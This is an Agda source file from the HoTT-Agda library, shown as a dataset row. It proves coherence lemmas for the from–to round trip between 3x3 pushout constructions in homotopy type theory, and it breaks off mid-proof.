max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
homotopy/3x3/FromTo2.agda | UlrikBuchholtz/HoTT-Agda | 1 | 5295 | <reponame>UlrikBuchholtz/HoTT-Agda<filename>homotopy/3x3/FromTo2.agda
{-# OPTIONS --without-K #-}
--open import HoTT
open import homotopy.3x3.PushoutPushout
open import homotopy.3x3.Transpose
import homotopy.3x3.To as To
import homotopy.3x3.From as From
open import homotopy.3x3.Common
module homotopy.3x3.FromTo2 {i} (d : Span^2 {i}) where
open Span^2 d
open M d hiding (Pushout^2)
open M (transpose d) using () renaming (module F₁∙ to F∙₁; f₁∙ to f∙₁;
module F₃∙ to F∙₃; f₃∙ to f∙₃;
v-h-span to h-v-span)
open M using (Pushout^2)
open To d
open From d
open import homotopy.3x3.FromToInit d
module M2 (c : A₂₂) where
coh : ∀ {i} {A : Type i} {a b c d : A}
{p q : a == b} (α : p == q)
{v w : b == d} {β β' : w == v} (eqβ : β == β')
{t u : a == c} {ε ε' : u == t} (eqε : ε == ε')
{r s : c == d} (ζ : r == s)
(γ : (q , v =□ t , s))
(δ : (p , w =□ u , r))
(eq : γ == δ ∙□-i/ ! β' / ε' / ∙□-o/ ! α / ζ /)
→ (α , β , γ =□□ δ , ε , ζ)
coh idp {β = idp} idp {ε = idp} idp idp _ _ x = x
end-lemma1 : ap (right ∘ f₃∙) (glue c) == ap (from ∘ i₄∙ ∘ f₃∙) (glue c) :> E∙₂Red.T-lhs c
end-lemma1 =
ap (right ∘ f₃∙) (glue c)
=⟨ ap-∘ right f₃∙ (glue c) ⟩
ap right (ap f₃∙ (glue c))
=⟨ ap (ap right) (F₃∙.glue-β c) ⟩
ap right (ap left (H₃₁ c) ∙ glue (f₃₂ c) ∙ ap right (H₃₃ c))
=⟨ ap-∙∙`∘`∘ right left right (H₃₁ c) (glue (f₃₂ c)) (H₃₃ c) ⟩
ap (right ∘ left) (H₃₁ c) ∙ ap right (glue (f₃₂ c)) ∙ ap (right ∘ right) (H₃₃ c)
=⟨ ! (from-to-r-g (f₃₂ c)) |in-ctx (λ u → ap (right ∘ left) (H₃₁ c) ∙ u ∙ ap (right ∘ right) (H₃₃ c)) ⟩
ap (right ∘ left) (H₃₁ c) ∙ (ap (from ∘ i₄∙) (glue (f₃₂ c))) ∙ ap (right ∘ right) (H₃₃ c)
=⟨ ! (ap-∙∙`∘`∘ (from ∘ i₄∙) left right (H₃₁ c) (glue (f₃₂ c)) (H₃₃ c)) ⟩
ap (from ∘ i₄∙) (ap left (H₃₁ c) ∙ glue (f₃₂ c) ∙ ap right (H₃₃ c))
=⟨ ! (ap (ap (from ∘ i₄∙)) (F₃∙.glue-β c)) ⟩
ap (from ∘ i₄∙) (ap f₃∙ (glue c))
=⟨ ∘-ap (from ∘ i₄∙) f₃∙ (glue c) ⟩
ap (from ∘ i₄∙ ∘ f₃∙) (glue c) ∎
lemma1 : ↓-='-out (apd (from-to-r ∘ f₃∙) (glue c)) == end-lemma1
lemma1 =
↓-='-out (apd (from-to-r ∘ f₃∙) (glue c))
=⟨ apd-∘'' from-to-r f₃∙ (glue c) (F₃∙.glue-β c) |in-ctx ↓-='-out ⟩
↓-='-out (↓-ap-out= (λ b → from (to (right b)) == right b) f₃∙ (glue c) (F₃∙.glue-β c) (apd from-to-r (ap left (H₃₁ c) ∙ glue (f₃₂ c) ∙ ap right (H₃₃ c))))
=⟨ apd-∙∙`∘`∘ from-to-r left right (H₃₁ c) (glue (f₃₂ c)) (H₃₃ c) |in-ctx (λ u → ↓-='-out (↓-ap-out= (λ b → from (to (right b)) == right b) f₃∙ (glue c) (F₃∙.glue-β c) u)) ⟩
↓-='-out (↓-ap-out= (λ b → from (to (right b)) == right b) f₃∙ (glue c) (F₃∙.glue-β c) (↓-ap-in _ _ (apd (λ _ → idp) (H₃₁ c)) ∙ᵈ apd from-to-r (glue (f₃₂ c)) ∙ᵈ ↓-ap-in _ _ (apd (λ _ → idp) (H₃₃ c))))
=⟨ FromToR.glue-β (f₃₂ c) |in-ctx (λ u → ↓-='-out (↓-ap-out= (λ b → from (to (right b)) == right b) f₃∙ (glue c) (F₃∙.glue-β c)
(↓-ap-in _ _ (apd (λ _ → idp) (H₃₁ c)) ∙ᵈ u ∙ᵈ ↓-ap-in _ _ (apd (λ _ → idp) (H₃₃ c))))) ⟩
↓-='-out (↓-ap-out= (λ b → from (to (right b)) == right b) f₃∙ (glue c) (F₃∙.glue-β c)
(↓-ap-in _ _ (apd (λ _ → idp) (H₃₁ c)) ∙ᵈ ↓-='-in (! (from-to-r-g (f₃₂ c))) ∙ᵈ ↓-ap-in _ _ (apd (λ _ → idp) (H₃₃ c))))
=⟨ lemma-a _ f₃∙ (glue c) (F₃∙.glue-β c) _ ⟩
↓-='-out (↓-ap-in _ _ (apd (λ x → idp {a = right (left x)}) (H₃₁ c)) ∙ᵈ ↓-='-in (! (from-to-r-g (f₃₂ c))) ∙ᵈ ↓-ap-in _ _ (apd (λ _ → idp) (H₃₃ c)))
∙□-i/ ap-∘ right f₃∙ (glue c) ∙ ap (ap right) (F₃∙.glue-β c)
/ ! (ap (ap (from ∘ i₄∙)) (F₃∙.glue-β c)) ∙ ∘-ap (from ∘ i₄∙) f₃∙ (glue c) /
=⟨ lemma-b (glue (f₃₂ c)) (apd (λ _ → idp) (H₃₁ c)) (! (from-to-r-g (f₃₂ c))) (apd (λ _ → idp) (H₃₃ c)) |in-ctx (λ u → u ∙□-i/ ap-∘ right f₃∙ (glue c) ∙ ap (ap right) (F₃∙.glue-β c)
/ ! (ap (ap (from ∘ i₄∙)) (F₃∙.glue-β c)) ∙ ∘-ap (from ∘ i₄∙) f₃∙ (glue c) /) ⟩
(↓-='-out (apd (λ x → idp {a = right (left x)}) (H₃₁ c))
∙□h ((! (from-to-r-g (f₃₂ c)))
∙□h (↓-='-out (apd (λ _ → idp) (H₃₃ c)))))
∙□-i/ ap-∙∙`∘`∘ right left right (H₃₁ c) (glue (f₃₂ c)) (H₃₃ c)
/ ! (ap-∙∙`∘`∘ (from ∘ i₄∙) left right (H₃₁ c) (glue (f₃₂ c)) (H₃₃ c)) /
∙□-i/ ap-∘ right f₃∙ (glue c) ∙ ap (ap right) (F₃∙.glue-β c)
/ ! (ap (ap (from ∘ i₄∙)) (F₃∙.glue-β c)) ∙ ∘-ap (from ∘ i₄∙) f₃∙ (glue c) /
=⟨ coh3 |in-ctx (λ u → u
∙□-i/ ap-∙∙`∘`∘ right left right (H₃₁ c) (glue (f₃₂ c)) (H₃₃ c)
/ ! (ap-∙∙`∘`∘ (from ∘ i₄∙) left right (H₃₁ c) (glue (f₃₂ c)) (H₃₃ c)) /
∙□-i/ ap-∘ right f₃∙ (glue c) ∙ ap (ap right) (F₃∙.glue-β c)
/ ! (ap (ap (from ∘ i₄∙)) (F₃∙.glue-β c)) ∙ ∘-ap (from ∘ i₄∙) f₃∙ (glue c) /) ⟩
((! (from-to-r-g (f₃₂ c))) |in-ctx (λ u → ap (right ∘ left) (H₃₁ c) ∙ u ∙ ap (right ∘ right) (H₃₃ c)))
∙□-i/ ap-∙∙`∘`∘ right left right (H₃₁ c) (glue (f₃₂ c)) (H₃₃ c)
/ ! (ap-∙∙`∘`∘ (from ∘ i₄∙) left right (H₃₁ c) (glue (f₃₂ c)) (H₃₃ c)) /
∙□-i/ ap-∘ right f₃∙ (glue c) ∙ ap (ap right) (F₃∙.glue-β c)
/ ! (ap (ap (from ∘ i₄∙)) (F₃∙.glue-β c)) ∙ ∘-ap (from ∘ i₄∙) f₃∙ (glue c) /
=⟨ coh' ⟩
end-lemma1 ∎ where
coh' : ∀ {i} {A : Type i} {x y : A} {a b c d e f g h : x == y} {p : a == b} {q : b == c}
{r : c == d} {s : d == e} {t : e == f} {u : f == g} {v : g == h}
→ (s ∙□-i/ r / t / ∙□-i/ p ∙ q / u ∙ v /) == (a =⟨ p ⟩ b =⟨ q ⟩ c =⟨ r ⟩ d =⟨ s ⟩ e =⟨ t ⟩ f =⟨ u ⟩ g =⟨ v ⟩ h ∎)
coh' {p = idp} {idp} {idp} {idp} {idp} {idp} {idp} = idp
coh2 : ∀ {i j} {A : Type i} {B : Type j} {f : A → B} {x y : A} {p : x == y}
→ ↓-='-out (apd (λ x → idp {a = f x}) p) == idp {a = ap f p}
coh2 {p = idp} = idp
coh3 : (↓-='-out (apd (λ x → idp {a = right (left x)}) (H₃₁ c))
∙□h ((! (from-to-r-g (f₃₂ c)))
∙□h (↓-='-out (apd (λ _ → idp) (H₃₃ c))))) == ((! (from-to-r-g (f₃₂ c))) |in-ctx (λ u → ap (right ∘ left) (H₃₁ c) ∙ u ∙ ap (right ∘ right) (H₃₃ c)))
coh3 =
↓-='-out (apd (λ x → idp {a = right (left x)}) (H₃₁ c))
∙□h ((! (from-to-r-g (f₃₂ c)))
∙□h (↓-='-out (apd (λ _ → idp) (H₃₃ c))))
=⟨ coh2 {f = right ∘ left} {p = H₃₁ c} |in-ctx (λ u → u ∙□h ((! (from-to-r-g (f₃₂ c))) ∙□h (↓-='-out (apd (λ _ → idp) (H₃₃ c))))) ⟩
idp {a = ap (right ∘ left) (H₃₁ c)} ∙□h ((! (from-to-r-g (f₃₂ c)))
∙□h (↓-='-out (apd (λ _ → idp) (H₃₃ c))))
=⟨ coh2 {f = right ∘ right} {p = H₃₃ c} |in-ctx (λ u → idp {a = ap (right ∘ left) (H₃₁ c)} ∙□h ((! (from-to-r-g (f₃₂ c))) ∙□h u)) ⟩
idp {a = ap (right ∘ left) (H₃₁ c)} ∙□h ((! (from-to-r-g (f₃₂ c))) ∙□h idp {a = ap (right ∘ right) (H₃₃ c)})
=⟨ coh4 (ap (right ∘ left) (H₃₁ c)) (ap (right ∘ right) (H₃₃ c)) (! (from-to-r-g (f₃₂ c))) ⟩
((! (from-to-r-g (f₃₂ c))) |in-ctx (λ u → ap (right ∘ left) (H₃₁ c) ∙ u ∙ ap (right ∘ right) (H₃₃ c))) ∎ where
coh4 : ∀ {i} {A : Type i} {x y z t : A} (p : x == y) (q : z == t) {s t : y == z} (r : s == t)
→ (idp {a = p} ∙□h (r ∙□h idp {a = q})) == (r |in-ctx (λ u → p ∙ u ∙ q))
coh4 idp idp idp = idp
end-lemma3 : ap (left ∘ f₁∙) (glue c) == ap (from ∘ i₀∙ ∘ f₁∙) (glue c)
end-lemma3 =
ap (left ∘ f₁∙) (glue c)
=⟨ ap-∘ left f₁∙ (glue c) ⟩
ap left (ap f₁∙ (glue c))
=⟨ ap (ap left) (F₁∙.glue-β c) ⟩
ap left (ap left (H₁₁ c) ∙ glue (f₁₂ c) ∙ ap right (H₁₃ c))
=⟨ ap-∙∙`∘`∘ left left right (H₁₁ c) (glue (f₁₂ c)) (H₁₃ c) ⟩
ap (left ∘ left) (H₁₁ c) ∙ ap left (glue (f₁₂ c)) ∙ ap (left ∘ right) (H₁₃ c)
=⟨ ! (from-to-l-g (f₁₂ c)) |in-ctx (λ u → ap (left ∘ left) (H₁₁ c) ∙ u ∙ ap (left ∘ right) (H₁₃ c)) ⟩
ap (left ∘ left) (H₁₁ c) ∙ (ap (from ∘ i₀∙) (glue (f₁₂ c))) ∙ ap (left ∘ right) (H₁₃ c)
=⟨ ! (ap-∙∙`∘`∘ (from ∘ i₀∙) left right (H₁₁ c) (glue (f₁₂ c)) (H₁₃ c)) ⟩
ap (from ∘ i₀∙) (ap left (H₁₁ c) ∙ glue (f₁₂ c) ∙ ap right (H₁₃ c))
=⟨ ! (ap (ap (from ∘ i₀∙)) (F₁∙.glue-β c)) ⟩
ap (from ∘ i₀∙) (ap f₁∙ (glue c))
=⟨ ∘-ap (from ∘ i₀∙) f₁∙ (glue c) ⟩
ap (from ∘ i₀∙ ∘ f₁∙) (glue c) ∎
lemma3 : ↓-='-out (apd (from-to-l ∘ f₁∙) (glue c)) == end-lemma3
lemma3 =
↓-='-out (apd (from-to-l ∘ f₁∙) (glue c))
=⟨ apd-∘'' from-to-l f₁∙ (glue c) (F₁∙.glue-β c) |in-ctx ↓-='-out ⟩
↓-='-out (↓-ap-out= (λ b → from (to (left b)) == left b) f₁∙ (glue c) (F₁∙.glue-β c) (apd from-to-l (ap left (H₁₁ c) ∙ glue (f₁₂ c) ∙ ap right (H₁₃ c))))
=⟨ lemma-a _ f₁∙ (glue c) (F₁∙.glue-β c) (apd from-to-l (ap left (H₁₁ c) ∙ glue (f₁₂ c) ∙ ap right (H₁₃ c))) ⟩
↓-='-out (apd from-to-l (ap left (H₁₁ c) ∙ glue (f₁₂ c) ∙ ap right (H₁₃ c)))
∙□-i/ ap-∘ left f₁∙ (glue c) ∙ ap (ap left) (F₁∙.glue-β c) / ! (ap (ap (from ∘ to ∘ left)) (F₁∙.glue-β c)) ∙ ∘-ap (from ∘ to ∘ left) f₁∙ (glue c) /
=⟨ apd-∙∙`∘`∘ from-to-l left right (H₁₁ c) (glue (f₁₂ c)) (H₁₃ c) |in-ctx
(λ u → ↓-='-out u ∙□-i/ ap-∘ left f₁∙ (glue c) ∙ ap (ap left) (F₁∙.glue-β c) / ! (ap (ap (from ∘ to ∘ left)) (F₁∙.glue-β c)) ∙ ∘-ap (from ∘ to ∘ left) f₁∙ (glue c) /) ⟩
↓-='-out (↓-ap-in _ _ (apd (λ _ → idp) (H₁₁ c)) ∙ᵈ apd from-to-l (glue (f₁₂ c)) ∙ᵈ ↓-ap-in _ _ (apd (λ _ → idp) (H₁₃ c)))
∙□-i/ ap-∘ left f₁∙ (glue c) ∙ ap (ap left) (F₁∙.glue-β c) / ! (ap (ap (from ∘ to ∘ left)) (F₁∙.glue-β c)) ∙ ∘-ap (from ∘ to ∘ left) f₁∙ (glue c) /
=⟨ FromToL.glue-β (f₁₂ c) |in-ctx (λ u → ↓-='-out (↓-ap-in _ _ (apd (λ _ → idp) (H₁₁ c)) ∙ᵈ u ∙ᵈ ↓-ap-in _ _ (apd (λ _ → idp) (H₁₃ c)))
∙□-i/ ap-∘ left f₁∙ (glue c) ∙ ap (ap left) (F₁∙.glue-β c) / ! (ap (ap (from ∘ to ∘ left)) (F₁∙.glue-β c)) ∙ ∘-ap (from ∘ to ∘ left) f₁∙ (glue c) /) ⟩
↓-='-out (↓-ap-in _ _ (apd (λ _ → idp) (H₁₁ c)) ∙ᵈ ↓-='-in (! (from-to-l-g (f₁₂ c))) ∙ᵈ ↓-ap-in _ _ (apd (λ _ → idp) (H₁₃ c)))
∙□-i/ ap-∘ left f₁∙ (glue c) ∙ ap (ap left) (F₁∙.glue-β c) / ! (ap (ap (from ∘ to ∘ left)) (F₁∙.glue-β c)) ∙ ∘-ap (from ∘ to ∘ left) f₁∙ (glue c) /
=⟨ lemma-b (glue (f₁₂ c)) (apd (λ _ → idp) (H₁₁ c)) (! (from-to-l-g (f₁₂ c))) (apd (λ _ → idp) (H₁₃ c))
|in-ctx (λ u → u ∙□-i/ ap-∘ left f₁∙ (glue c) ∙ ap (ap left) (F₁∙.glue-β c) / ! (ap (ap (from ∘ to ∘ left)) (F₁∙.glue-β c)) ∙ ∘-ap (from ∘ to ∘ left) f₁∙ (glue c) /) ⟩
(↓-='-out (apd (λ _ → idp) (H₁₁ c)) ∙□h ((! (from-to-l-g (f₁₂ c))) ∙□h ↓-='-out (apd (λ _ → idp) (H₁₃ c))))
∙□-i/ ap-∙∙`∘`∘ left left right (H₁₁ c) (glue (f₁₂ c)) (H₁₃ c) / ! (ap-∙∙`∘`∘ (from ∘ i₀∙) left right (H₁₁ c) (glue (f₁₂ c)) (H₁₃ c)) /
∙□-i/ ap-∘ left f₁∙ (glue c) ∙ ap (ap left) (F₁∙.glue-β c) / ! (ap (ap (from ∘ to ∘ left)) (F₁∙.glue-β c)) ∙ ∘-ap (from ∘ to ∘ left) f₁∙ (glue c) /
=⟨ coh2 (left ∘ left) (left ∘ right) (H₁₁ c) (! (from-to-l-g (f₁₂ c))) (H₁₃ c) |in-ctx (λ u →
u ∙□-i/ ap-∙∙`∘`∘ left left right (H₁₁ c) (glue (f₁₂ c)) (H₁₃ c) / ! (ap-∙∙`∘`∘ (from ∘ i₀∙) left right (H₁₁ c) (glue (f₁₂ c)) (H₁₃ c)) /
∙□-i/ ap-∘ left f₁∙ (glue c) ∙ ap (ap left) (F₁∙.glue-β c) / ! (ap (ap (from ∘ to ∘ left)) (F₁∙.glue-β c)) ∙ ∘-ap (from ∘ to ∘ left) f₁∙ (glue c) /) ⟩
((! (from-to-l-g (f₁₂ c))) |in-ctx (λ u → ap (left ∘ left) (H₁₁ c) ∙ u ∙ ap (left ∘ right) (H₁₃ c)))
∙□-i/ ap-∙∙`∘`∘ left left right (H₁₁ c) (glue (f₁₂ c)) (H₁₃ c) / ! (ap-∙∙`∘`∘ (from ∘ i₀∙) left right (H₁₁ c) (glue (f₁₂ c)) (H₁₃ c)) /
∙□-i/ ap-∘ left f₁∙ (glue c) ∙ ap (ap left) (F₁∙.glue-β c) / ! (ap (ap (from ∘ to ∘ left)) (F₁∙.glue-β c)) ∙ ∘-ap (from ∘ to ∘ left) f₁∙ (glue c) /
=⟨ coh3 ⟩
end-lemma3 ∎ where
coh2 : ∀ {i i' j} {A : Type i} {A' : Type i'} {B : Type j} (f : A → B) (f' : A' → B)
{a b : A} {a' b' : A'} (p : a == b) {s s' : f b == f' a'} (q : s == s') (r : a' == b')
→ (↓-='-out (apd (λ x → idp) p) ∙□h (q ∙□h (↓-='-out (apd (λ _ → idp) r))))
== (q |in-ctx (λ u → ap f p ∙ u ∙ ap f' r))
coh2 f f' idp idp idp = idp
coh3 : ∀ {i} {A : Type i} {x y : A} {a b c d e f g h : x == y} {p : a == b} {q : b == c}
{r : c == d} {s : d == e} {t : e == f} {u : f == g} {v : g == h}
→ (s ∙□-i/ r / t / ∙□-i/ p ∙ q / u ∙ v /) == (a =⟨ p ⟩ b =⟨ q ⟩ c =⟨ r ⟩ d =⟨ s ⟩ e =⟨ t ⟩ f =⟨ u ⟩ g =⟨ v ⟩ h ∎)
coh3 {p = idp} {idp} {idp} {idp} {idp} {idp} {idp} = idp
{- Lemma 2 -}
lemma2-7 =
↓-='-out (ap↓ (ap from) (apd (glue {d = h-v-span}) (glue c)))
=⟨ from-glue-glue-β c |in-ctx ↓-='-out ⟩
↓-='-out (↓-='-in (E∙₂Red.coh! c (↓-='-out (apd (glue {d = v-h-span}) (glue c))
∙□-i/ E∙₂Red.lhs-i c / E∙₂Red.rhs-i c /)
∙□-i/ E∙₂Red.lhs-o c / E∙₂Red.rhs-o c /)
◃/ From.glue-β (left (f₁₂ c)) / ! (From.glue-β (right (f₃₂ c))) /)
=⟨ thing _ (From.glue-β (left (f₁₂ c))) _ ⟩
E∙₂Red.coh! c (↓-='-out (apd (glue {d = v-h-span}) (glue c))
∙□-i/ E∙₂Red.lhs-i c / E∙₂Red.rhs-i c /)
∙□-i/ E∙₂Red.lhs-o c / E∙₂Red.rhs-o c /
∙□-o/ From.glue-β (left (f₁₂ c)) / ! (From.glue-β (right (f₃₂ c))) / ∎
lemma2-6 =
ap□ from (↓-='-out (apd (glue {d = h-v-span}) (glue c)))
=⟨ ap□-↓-='-out-β _ _ from (apd (glue {d = h-v-span}) (glue c)) ⟩
↓-='-out (ap↓ (ap from) (apd (glue {d = h-v-span}) (glue c)))
∙□-i/ ∘-ap from (right ∘ f∙₃) (glue c) / ap-∘ from (left ∘ f∙₁) (glue c) /
=⟨ lemma2-7 |in-ctx (λ u → (u ∙□-i/ ∘-ap from (right ∘ f∙₃) (glue c) / ap-∘ from (left ∘ f∙₁) (glue c) /)) ⟩
E∙₂Red.coh! c (↓-='-out (apd (glue {d = v-h-span}) (glue c))
∙□-i/ E∙₂Red.lhs-i c / E∙₂Red.rhs-i c /)
∙□-i/ E∙₂Red.lhs-o c / E∙₂Red.rhs-o c /
∙□-o/ From.glue-β (left (f₁₂ c)) / ! (From.glue-β (right (f₃₂ c))) /
∙□-i/ ∘-ap from (right ∘ f∙₃) (glue c) / ap-∘ from (left ∘ f∙₁) (glue c) / ∎
lemma2-5 =
ap□ from (↓-='-out (apd (glue {d = h-v-span}) (glue c))
∙□-i/ E₂∙Red.lhs-i c / E₂∙Red.rhs-i c /)
=⟨ ap□-∙□-i/ from _ (E₂∙Red.lhs-i c) _ ⟩
ap□ from (↓-='-out (apd (glue {d = h-v-span}) (glue c)))
∙□-i/ ap (ap from) (E₂∙Red.lhs-i c) / ap (ap from) (E₂∙Red.rhs-i c) /
=⟨ lemma2-6 |in-ctx (λ u → u ∙□-i/ ap (ap from) (E₂∙Red.lhs-i c) / ap (ap from) (E₂∙Red.rhs-i c) /) ⟩
E∙₂Red.coh! c (↓-='-out (apd (glue {d = v-h-span}) (glue c))
∙□-i/ E∙₂Red.lhs-i c / E∙₂Red.rhs-i c /)
∙□-i/ E∙₂Red.lhs-o c / E∙₂Red.rhs-o c /
∙□-o/ From.glue-β (left (f₁₂ c)) / ! (From.glue-β (right (f₃₂ c))) /
∙□-i/ ∘-ap from (right ∘ f∙₃) (glue c) / ap-∘ from (left ∘ f∙₁) (glue c) /
∙□-i/ ap (ap from) (E₂∙Red.lhs-i c) / ap (ap from) (E₂∙Red.rhs-i c) / ∎
lemma2'-1 =
E₂∙Red.ap-ap-coh-lhs-i c from ∙ ap (ap from) (E₂∙Red.lhs-i c) ∙ ∘-ap from (right ∘ f∙₃) (glue c) ∙ E∙₂Red.lhs-o c
=⟨ eq1 {f = ap from}
{q = ! (ap-∙∙!`∘`∘ right left right (H₁₃ c) (glue (f₂₃ c)) (H₃₃ c))}
{ ! (F∙₃.glue-β c) |in-ctx (ap right)}
{∘-ap right f∙₃ (glue c)}
{p = E₂∙Red.ap-ap-coh-lhs-i c from}
{∘-ap from (right ∘ f∙₃) (glue c)}
{ap-∘ i∙₄ f∙₃ (glue c)}
{F∙₃.glue-β c |in-ctx (ap i∙₄)}
{ap-∙∙!`∘`∘ i∙₄ left right (H₁₃ c) (glue (f₂₃ c)) (H₃₃ c)}
{I∙₄.glue-β (f₂₃ c) |in-ctx (λ u → ap (left ∘ right) (H₁₃ c) ∙ u ∙ ! (ap (right ∘ right) (H₃₃ c)))}
⟩
(! (ap-∙∙!'`∘`∘ from (right ∘ left) (right ∘ right) (H₁₃ c) (ap right (glue (f₂₃ c))) (H₃₃ c))
∙ ap (ap from) (! (ap-∙∙!`∘`∘ right left right (H₁₃ c) (glue (f₂₃ c)) (H₃₃ c)))
∙ (ap (ap from) (! (F∙₃.glue-β c) |in-ctx (ap right))
∙ (ap (ap from) (∘-ap right f∙₃ (glue c))
∙ ∘-ap from (right ∘ f∙₃) (glue c)
∙ ap-∘ i∙₄ f∙₃ (glue c))
∙ (F∙₃.glue-β c |in-ctx (ap i∙₄)))
∙ ap-∙∙!`∘`∘ i∙₄ left right (H₁₃ c) (glue (f₂₃ c)) (H₃₃ c))
∙ (I∙₄.glue-β (f₂₃ c) |in-ctx (λ u → ap (left ∘ right) (H₁₃ c) ∙ u ∙ ! (ap (right ∘ right) (H₃₃ c))))
=⟨ ap-∘^3-coh from right f∙₃ (glue c) |in-ctx (λ u →
(! (ap-∙∙!'`∘`∘ from (right ∘ left) (right ∘ right) (H₁₃ c) (ap right (glue (f₂₃ c))) (H₃₃ c))
∙ ap (ap from) (! (ap-∙∙!`∘`∘ right left right (H₁₃ c) (glue (f₂₃ c)) (H₃₃ c)))
∙ (ap (ap from) (! (F∙₃.glue-β c) |in-ctx (ap right))
∙ u
∙ (F∙₃.glue-β c |in-ctx (ap i∙₄)))
∙ ap-∙∙!`∘`∘ i∙₄ left right (H₁₃ c) (glue (f₂₃ c)) (H₃₃ c))
∙ (I∙₄.glue-β (f₂₃ c) |in-ctx (λ u → ap (left ∘ right) (H₁₃ c) ∙ u ∙ ! (ap (right ∘ right) (H₃₃ c)))))
⟩
(! (ap-∙∙!'`∘`∘ from (right ∘ left) (right ∘ right) (H₁₃ c) (ap right (glue (f₂₃ c))) (H₃₃ c))
∙ ap (ap from) (! (ap-∙∙!`∘`∘ right left right (H₁₃ c) (glue (f₂₃ c)) (H₃₃ c)))
∙ (ap (ap from) (! (F∙₃.glue-β c) |in-ctx (ap right))
∙ ∘-ap from right (ap f∙₃ (glue c))
∙ (F∙₃.glue-β c |in-ctx (ap i∙₄)))
∙ ap-∙∙!`∘`∘ i∙₄ left right (H₁₃ c) (glue (f₂₃ c)) (H₃₃ c))
∙ (I∙₄.glue-β (f₂₃ c) |in-ctx (λ u → ap (left ∘ right) (H₁₃ c) ∙ u ∙ ! (ap (right ∘ right) (H₃₃ c))))
=⟨ ap-∘-ap-coh from right (F∙₃.glue-β c) |in-ctx (λ u →
(! (ap-∙∙!'`∘`∘ from (right ∘ left) (right ∘ right) (H₁₃ c) (ap right (glue (f₂₃ c))) (H₃₃ c))
∙ ap (ap from) (! (ap-∙∙!`∘`∘ right left right (H₁₃ c) (glue (f₂₃ c)) (H₃₃ c)))
∙ u
∙ ap-∙∙!`∘`∘ i∙₄ left right (H₁₃ c) (glue (f₂₃ c)) (H₃₃ c))
∙ (I∙₄.glue-β (f₂₃ c) |in-ctx (λ u → ap (left ∘ right) (H₁₃ c) ∙ u ∙ ! (ap (right ∘ right) (H₃₃ c))))) ⟩
(! (ap-∙∙!'`∘`∘ from (right ∘ left) (right ∘ right) (H₁₃ c) (ap right (glue (f₂₃ c))) (H₃₃ c))
∙ ap (ap from) (! (ap-∙∙!`∘`∘ right left right (H₁₃ c) (glue (f₂₃ c)) (H₃₃ c)))
∙ ∘-ap from right (ap left (H₁₃ c) ∙ glue (f₂₃ c) ∙ ap right (! (H₃₃ c)))
∙ ap-∙∙!`∘`∘ i∙₄ left right (H₁₃ c) (glue (f₂₃ c)) (H₃₃ c))
∙ (I∙₄.glue-β (f₂₃ c) |in-ctx (λ u → ap (left ∘ right) (H₁₃ c) ∙ u ∙ ! (ap (right ∘ right) (H₃₃ c))))
=⟨ ap-∘-ap-∙∙!`∘`∘-coh from right left right (H₁₃ c) (glue (f₂₃ c)) (H₃₃ c) |in-ctx (λ u →
u ∙ (I∙₄.glue-β (f₂₃ c) |in-ctx (λ u → ap (left ∘ right) (H₁₃ c) ∙ u ∙ ! (ap (right ∘ right) (H₃₃ c))))) ⟩
(∘-ap from right (glue (f₂₃ c)) |in-ctx (λ u → ap (left ∘ right) (H₁₃ c) ∙ u ∙ ! (ap (right ∘ right) (H₃₃ c))))
∙ (I∙₄.glue-β (f₂₃ c) |in-ctx (λ u → ap (left ∘ right) (H₁₃ c) ∙ u ∙ ! (ap (right ∘ right) (H₃₃ c))))
=⟨ ∙-|in-ctx (λ u → ap (left ∘ right) (H₁₃ c) ∙ u ∙ ! (ap (right ∘ right) (H₃₃ c))) (∘-ap from right (glue (f₂₃ c))) (I∙₄.glue-β (f₂₃ c)) ⟩
((∘-ap from right (glue (f₂₃ c)) ∙ I∙₄.glue-β (f₂₃ c)) |in-ctx (λ u → ap (left ∘ right) (H₁₃ c) ∙ u ∙ ! (ap (right ∘ right) (H₃₃ c)))) ∎
where
eq1 : ∀ {i j} {A : Type i} {B : Type j} {f : A → B} {a b c d : A}
{q : a == b} {r : b == c} {s : c == d}
{g h k l m n : B} {p : g == f a} {t : f d == h} {u : h == k}
{v : k == l} {w : l == m} {x : m == n}
→ p ∙ ap f (_ =⟨ q ⟩ _ =⟨ r ⟩ _ =⟨ s ⟩ _ ∎) ∙ t
∙ (_ =⟨ u ⟩ _ =⟨ v ⟩ _ =⟨ w ⟩ _ =⟨ x ⟩ _ ∎)
== (p ∙ ap f q ∙ (ap f r ∙ (ap f s ∙ t ∙ u) ∙ v) ∙ w) ∙ x
eq1 {q = idp} {idp} {idp} {p = p} {idp} {idp} {idp} {idp} {idp} = ! (∙-unit-r (p ∙ idp))
lemma2'-2 :
E∙₂Red.rhs-o c
∙ ap-∘ from (left ∘ f∙₁) (glue c)
∙ ap (ap from) (E₂∙Red.rhs-i c)
∙ E₂∙Red.ap-ap-coh-rhs-i c from
== (! (∘-ap from left (glue (f₂₁ c)) ∙ I∙₀.glue-β (f₂₁ c)) |in-ctx (λ u → ! (ap (left ∘ left) (H₁₁ c)) ∙ u ∙ ap (right ∘ left) (H₃₁ c)))
lemma2'-2 =
E∙₂Red.rhs-o c ∙ ap-∘ from (left ∘ f∙₁) (glue c) ∙ ap (ap from) (E₂∙Red.rhs-i c) ∙ E₂∙Red.ap-ap-coh-rhs-i c from
=⟨ eq1 {f = ap from}
{p = ! (I∙₀.glue-β (f₂₁ c)) |in-ctx (λ u → (! (ap (left ∘ left) (H₁₁ c)) ∙ u ∙ ap (right ∘ left) (H₃₁ c)))}
{ ! (ap-!∙∙`∘`∘ i∙₀ left right (H₁₁ c) (glue (f₂₁ c)) (H₃₁ c))}
{ ! (F∙₁.glue-β c) |in-ctx (λ u → ap i∙₀ u)}
{∘-ap i∙₀ f∙₁ (glue c)}
{ap-∘ from (left ∘ f∙₁) (glue c)}
{ap-∘ left f∙₁ (glue c)}
{F∙₁.glue-β c |in-ctx (ap left)}
{ap-!∙∙`∘`∘ left left right (H₁₁ c) (glue (f₂₁ c)) (H₃₁ c)}
{ap-!'∙∙`∘`∘ from (left ∘ left) (left ∘ right) (H₁₁ c) (ap left (glue (f₂₁ c))) (H₃₁ c)}
⟩
(! (I∙₀.glue-β (f₂₁ c)) |in-ctx (λ u → (! (ap (left ∘ left) (H₁₁ c)) ∙ u ∙ ap (right ∘ left) (H₃₁ c))))
∙ ((! (ap-!∙∙`∘`∘ i∙₀ left right (H₁₁ c) (glue (f₂₁ c)) (H₃₁ c)))
∙ ((! (F∙₁.glue-β c) |in-ctx (λ u → ap i∙₀ u))
